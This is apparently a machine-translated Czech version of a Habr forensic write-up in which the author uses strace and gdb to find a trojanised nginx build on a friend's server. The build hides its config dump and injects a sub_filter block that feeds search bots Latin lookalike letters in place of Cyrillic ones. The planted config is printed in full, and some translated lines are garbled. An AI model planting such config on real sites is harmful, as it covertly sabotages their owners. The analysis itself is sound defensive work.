Velmi nepříjemný příběh se stal jednomu z mých přátel. Ale jakkoli to bylo pro Michaila nepříjemné, pro mě to bylo stejně zábavné.
Musím říct, že můj přítel docela UNIX-user: může si systém nainstalovat sám mysql, php a provést jednoduchá nastavení Nginx.
A má tucet nebo jeden a půl webových stránek věnovaných stavebnímu nářadí.
Jedna z těchto stránek věnovaná motorovým pilám se pevně drží v TOP vyhledávačích. Tento web je nekomerční recenzent, ale někdo si zvyknul na něj útočit. Že DDoS, pak hrubou silou, pak píšou obscénní komentáře a posílají narážky na hosting a do RKN.
Najednou se vše uklidnilo a ukázalo se, že tento klid není dobrý a web začal postupně opouštět horní řádky výsledků vyhledávání.
To bylo rčení, pak samotný adminův příběh.
Blížil se čas spánku, když zazvonil telefon: „San, nepodíváš se na můj server? Zdá se mi, že jsem byl hacknut, nemůžu to dokázat, ale ten pocit mě neopustil už třetí týden. Možná je jen čas, abych se začal léčit z paranoie?"
Následovala půlhodinová diskuse, kterou lze shrnout takto:
- půda pro hackování byla docela úrodná;
- útočník by mohl získat práva superuživatele;
- útok (pokud k němu došlo) byl zaměřen konkrétně na toto místo;
- problémové oblasti byly opraveny a stačí pochopit, zda došlo k nějakému průniku;
- hack nemohl ovlivnit kód webu a databáze.
Ohledně posledního bodu.
Pouze bílá frontend IP vypadá do světa. Mezi backendy a frontendem kromě http(s) nedochází k žádné výměně, uživatelé/hesla se liší, nebyly vyměněny žádné klíče. Na šedých adresách jsou všechny porty kromě 80/443 uzavřeny. Bílé backendové IP znají pouze dva uživatelé, kterým Michail zcela důvěřuje.
Instalováno na frontendu Debian 9 a v okamžiku uskutečnění hovoru je systém izolován od světa externím firewallem a zastaven.
"Dobře, dej mi přístup," rozhodnu se na hodinu odložit spánek. "Uvidím na vlastní oči."
Zde a dále:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Hledá se možný hack
Spouštím server jako první záchranný režim. Namontuji disky a prolistuji je auth-protokoly, historie, systémové logy atd., pokud je to možné, kontroluji data vytvoření souboru, i když chápu, že normální práskač by po sobě „zametl“ a Míša už si hodně „prošlapal“, když se hledal .
Začínám v normálním režimu, ještě pořádně nechápu, co mám hledat, studuji konfigurace. V první řadě mě zajímá Nginx protože obecně na frontendu kromě něj není nic jiného.
Konfigurace jsou malé, dobře strukturované do tuctu souborů, jen je prohlížím kočka'oh jeden po druhém. Všechno se zdá být čisté, ale nikdy nevíte, jestli jsem něco nepřehlédl obsahovat, dovolte mi vytvořit úplný seznam:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Nerozuměl jsem: "Kde je výpis?"
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
K dotazu se seznamem je přidána druhá otázka: „Proč taková prastará verze nginx?“
Systém se navíc domnívá, že je nainstalována nejnovější verze:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
Volám:
- Míšo, proč jsi se dal dohromady? Nginx?
-Počkej, já ani nevím, jak to udělat!
- Dobře, jdi spát...
Nginx je jasně přestavěn a výstup výpisu pomocí „-T“ je z nějakého důvodu skrytý. O hackování již nejsou žádné pochybnosti a můžete to jednoduše přijmout a (protože Misha stejně vyměnil server za nový) považovat problém za vyřešený.
A skutečně, protože někdo získal práva kořen„Aha, pak to má smysl dělat přeinstalovat systém, a bylo zbytečné hledat, co je tam špatně, ale tentokrát zvědavost porazila spánek. Jak můžeme zjistit, co před námi chtěli skrýt?
Zkusme vysledovat:
$ strace nginx -T
Díváme se na to, ve stopě je zjevně málo čar a la
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Jen pro zajímavost, pojďme si výsledky porovnat.
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Myslím, že část kódu /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
byl převeden do podoby:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
nebo
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
proto se výpis podle "-T" nezobrazí.
Ale jak si můžeme prohlédnout naši konfiguraci?
Pokud je moje myšlenka správná a problém je pouze v proměnné ngx_dump_config zkusme to nainstalovat pomocí gdb, naštěstí existuje klíč --with-cc-opt -g a doufám, že optimalizace -O2 nám to neublíží. Zároveň, protože nevím jak ngx_dump_config mohly být zpracovány v případ 'T':, nebudeme tento blok nazývat, ale nainstalujeme jej pomocí případ 't':
Proč můžete použít '-t' stejně jako '-T'Blokové zpracování if(ngx_dump_config) se děje uvnitř if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Samozřejmě, pokud se kód změní v této části a ne v případ 'T':, pak moje metoda nebude fungovat.
Test nginx.confPo experimentálním vyřešení problému bylo zjištěno, že pro fungování malwaru je vyžadována minimální konfigurace Nginx typ:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Použijeme to pro stručnost v článku.
Spusťte ladicí program
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Krok za krokem:
- nastavit zarážku ve funkci hlavní ()
- spusťte program
- změňte hodnotu proměnné, která určuje výstup config ngx_dump_config=1
- pokračovat/ukončit program
Jak vidíme, skutečná konfigurace se od té naší liší, vybereme z ní parazitní kus:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Pojďme se popořadě podívat na to, co se zde děje.
Odhodlaný User-Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Stránky služby jsou vyloučeny wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
A pro ty, kteří spadají pod obě výše uvedené podmínky
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
v textu html- mění se stránky 'Ó' na 'Ó' и 'A' na 'A':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
To je pravda, jediná jemnost je v tom 'a' != 'a' stejně jako 'o' != 'o':
Proto roboti vyhledávačů dostávají místo normálního 100% textu v azbuce upravený odpad naředěný latinkou 'A' и 'Ó'. Netroufám si diskutovat o tom, jak to ovlivňuje SEO, ale je nepravděpodobné, že taková změť písmen bude mít pozitivní dopad na pozice ve výsledcích vyhledávání.
Co na to říct, kluci s fantazií.
reference
Zdroj: www.habr.com